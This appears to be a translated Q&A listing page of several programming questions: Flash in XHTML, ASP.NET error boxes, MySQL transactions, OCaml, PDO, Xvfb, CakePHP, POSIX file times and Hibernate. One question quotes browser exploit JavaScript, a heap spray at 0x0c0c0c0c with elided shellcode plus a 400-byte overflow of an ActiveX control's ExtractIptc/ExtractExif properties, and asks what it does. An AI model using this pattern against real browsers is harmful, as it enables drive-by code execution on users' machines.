问题列表 - 第5992页

如何在XHTML 1.0 Strict网页中嵌入SWF对象?

简单的问题:我正在寻找一种符合标准的嵌入flash文件的方法.我一直在为这个项目使用Dreamweaver(不是因为我喜欢它,而是因为我的同事不是HTML专家)而且它显然使用非标准代码来嵌入flash文件.它可能是HTML中的标准,但在我喜欢使用的XHTML中并没有那么多.

符合标准的方法是什么?我更喜欢不使用每个人似乎都使用的JavaScript库,我正在寻找一个纯XHTML解决方案,以便在未启用JavaScript时我的页面会优雅地降级.

谢谢,如果需要,我可以发布我现有的不合规代码.

embed flash xhtml standards-compliance

2
推荐指数
1
解决办法
3852
查看次数

我不明白这个守则

我不明白这段代码:

function ms(){ 
    var plc=unescape('".
    unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0);
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav();
    return(1); 
    }  
Run Code Online (Sandbox Code Playgroud)

在上面的函数中,我似乎无法弄清楚变量类型,或者弄清楚它对hsta变量做了什么,以及它分配给它的内容:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
Run Code Online (Sandbox Code Playgroud)

我也无法弄清楚这个功能:

function fb(){
    try {
        var obj=null;
        obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
        if(obj){
            ms();
            var buf = addr(0x0c0c0c0c);
            while (buf.length < 400) buf += buf;
            buf = buf.substring(0,400);
            obj.ExtractIptc = buf;
            obj.ExtractExif = buf;
            }
       } catch(e){}
    return 0;
    }
Run Code Online (Sandbox Code Playgroud)

以下代码是什么意思?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

这是一个什么样的变量?

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf; …
Run Code Online (Sandbox Code Playgroud)

javascript security exploit

6
推荐指数
1
解决办法
1022
查看次数

如何在Web应用程序中显示错误消息框asp.net c#

我有一个ASP.NET Web应用程序,我想知道如何在抛出异常时显示错误消息框.

例如,

        try
        {
            do something
        }
        catch 
        {
            messagebox.write("error"); 
            //[This isn't the correct syntax, just what I want to achieve]
        }
Run Code Online (Sandbox Code Playgroud)

[消息框显示错误]

谢谢

c# asp.net web-applications messagebox

8
推荐指数
4
解决办法
9万
查看次数

你能在一次交易中拥有多个MySqlCommand吗?

我想在2个单独的表上进行插入和更新,但是将它们放在1个事务中).

基本上在伪代码中我想做类似的事情:

MySqlTransaction trans = null;
try
{
    _Connection.Open();
    trans = _Connection.BeginTransaction();
    insertCmd.Transaction = trans;
    updateCmd.Transaction = trans;

    Int32 id = insertCmd.ExecuteNonQuery();
    updateCmd.Parameters.Add(new MySqlParameter("oid", MySqlDbType.Int32).Value = id);
    updateCmd.ExecuteNonQuery();
}
catch(MySqlException)
{
    if(trans != null)
        trans.RollBack();
}
finally
{
    _Connection.Close();
}
Run Code Online (Sandbox Code Playgroud)

这是可能的还是我以错误的方式解决这个问题?

c# mysql transactions

6
推荐指数
1
解决办法
1492
查看次数

OCaml 直接对象的 UML

我在 OCaml 中创建了一个直接对象。

let x = 
object (self)
val dataMember = 3
method aMethod = print_endline "Called a method"
end;;
Run Code Online (Sandbox Code Playgroud)

由于对象没有名称(它被认为是匿名的吗?),如何在 UML 中正确表示它?

谢谢。

oop ocaml uml anonymous

3
推荐指数
1
解决办法
1059
查看次数

使用try {} catch {}与if {} else {}相比有什么好处?

我正在从php中的普通mysql切换到PDO,我注意到测试错误的常用方法是使用try/catch组合而不是if/else组合.

该方法的优点是什么,我可以使用一个try/catch块而不是几个嵌套的if/else块来处理不同步骤(连接,准备,执行等)的所有错误吗?

php mysql pdo

58
推荐指数
7
解决办法
4万
查看次数

PHP和Xvfb用法

我正试图在无头服务器上执行firefox来拍摄网站的屏幕截图.我可以从终端使用这样做

"DISPLAY =:12 firefox -saveimage http://www.google.com/ ".

问题是当我尝试做系统时("DISPLAY =:12 firefox -saveimage http://www.google.com "); 不起作用.我觉得它不是在正常的shell环境中执行.我违背了我更好的判断,给了apache用户一个真正的shell.如果我对ap​​ache执行并执行命令一切正常并按预期工作,但它再次无法通过系统调用工作.任何见解都非常受欢迎.

php linux terminal xvfb

5
推荐指数
1
解决办法
1300
查看次数

CakePHP 中如何防止重复提交表单?

我发现 CakePHP 中的安全组件通过向表单添加令牌作为隐藏值来帮助防止 CSRF。

我想知道的是是否有办法防止使用此组件或其他组件/帮助程序重复提交表单?

在之前的项目中,我使用了一个保存在会话中的唯一哈希,在提交时读取然后删除。重复提交将具有相同的哈希值,并会产生错误。

谢谢

php cakephp

5
推荐指数
1
解决办法
5392
查看次数

如何在POSIX中以编程方式编写文件修改日期?

我想从C代码触摸我的文件来修改他们的访问日期.这似乎不起作用:

struct stat fileSt;
lstat(path, &fileSt);
fileSt.st_mtime = time(NULL);
Run Code Online (Sandbox Code Playgroud)

谢谢你的帮助.

c unix posix file

9
推荐指数
3
解决办法
3862
查看次数

Hibernate可以用于性能敏感的应用程序吗?

我发现检索与其他对象有很多关系的多个对象实例时出现性能问题.我在MySQL中使用Spring和Hibernate的JPA实现.问题是,在执行JPA查询时,Hibernate不会自动连接到其他表.这导致n*r + 1个SQL查询,其中n是要检索的对象的数量,r是关系的数量.

例如,一个人住在一个​​地址,有很多爱好,并访问了许多国家:

@Entity
public class Person {
    @Id public Integer personId;    
    public String name;    
    @ManyToOne public Address address;    
    @ManyToMany public Set<Hobby> hobbies;    
    @ManyToMany public Set<Country> countriesVisited;
}
Run Code Online (Sandbox Code Playgroud)

当我执行JPA查询以获取名为Bob的所有人员时,数据库中有100个Bobs:

SELECT p FROM Person p WHERE p.name='Bob'
Run Code Online (Sandbox Code Playgroud)

Hibernate将此转换为301个SQL查询:

SELECT ... FROM Person WHERE name='Bob'
SELECT ... FROM Address WHERE personId=1
SELECT ... FROM Address WHERE personId=2
...
SELECT ... FROM Hobby WHERE personId=1
SELECT ... FROM Hobby WHERE personId=2
...
SELECT ... FROM Country WHERE personId=1
SELECT ... FROM Country …
Run Code Online (Sandbox Code Playgroud)

java performance hibernate jpa java-ee

21
推荐指数
2
解决办法
1万
查看次数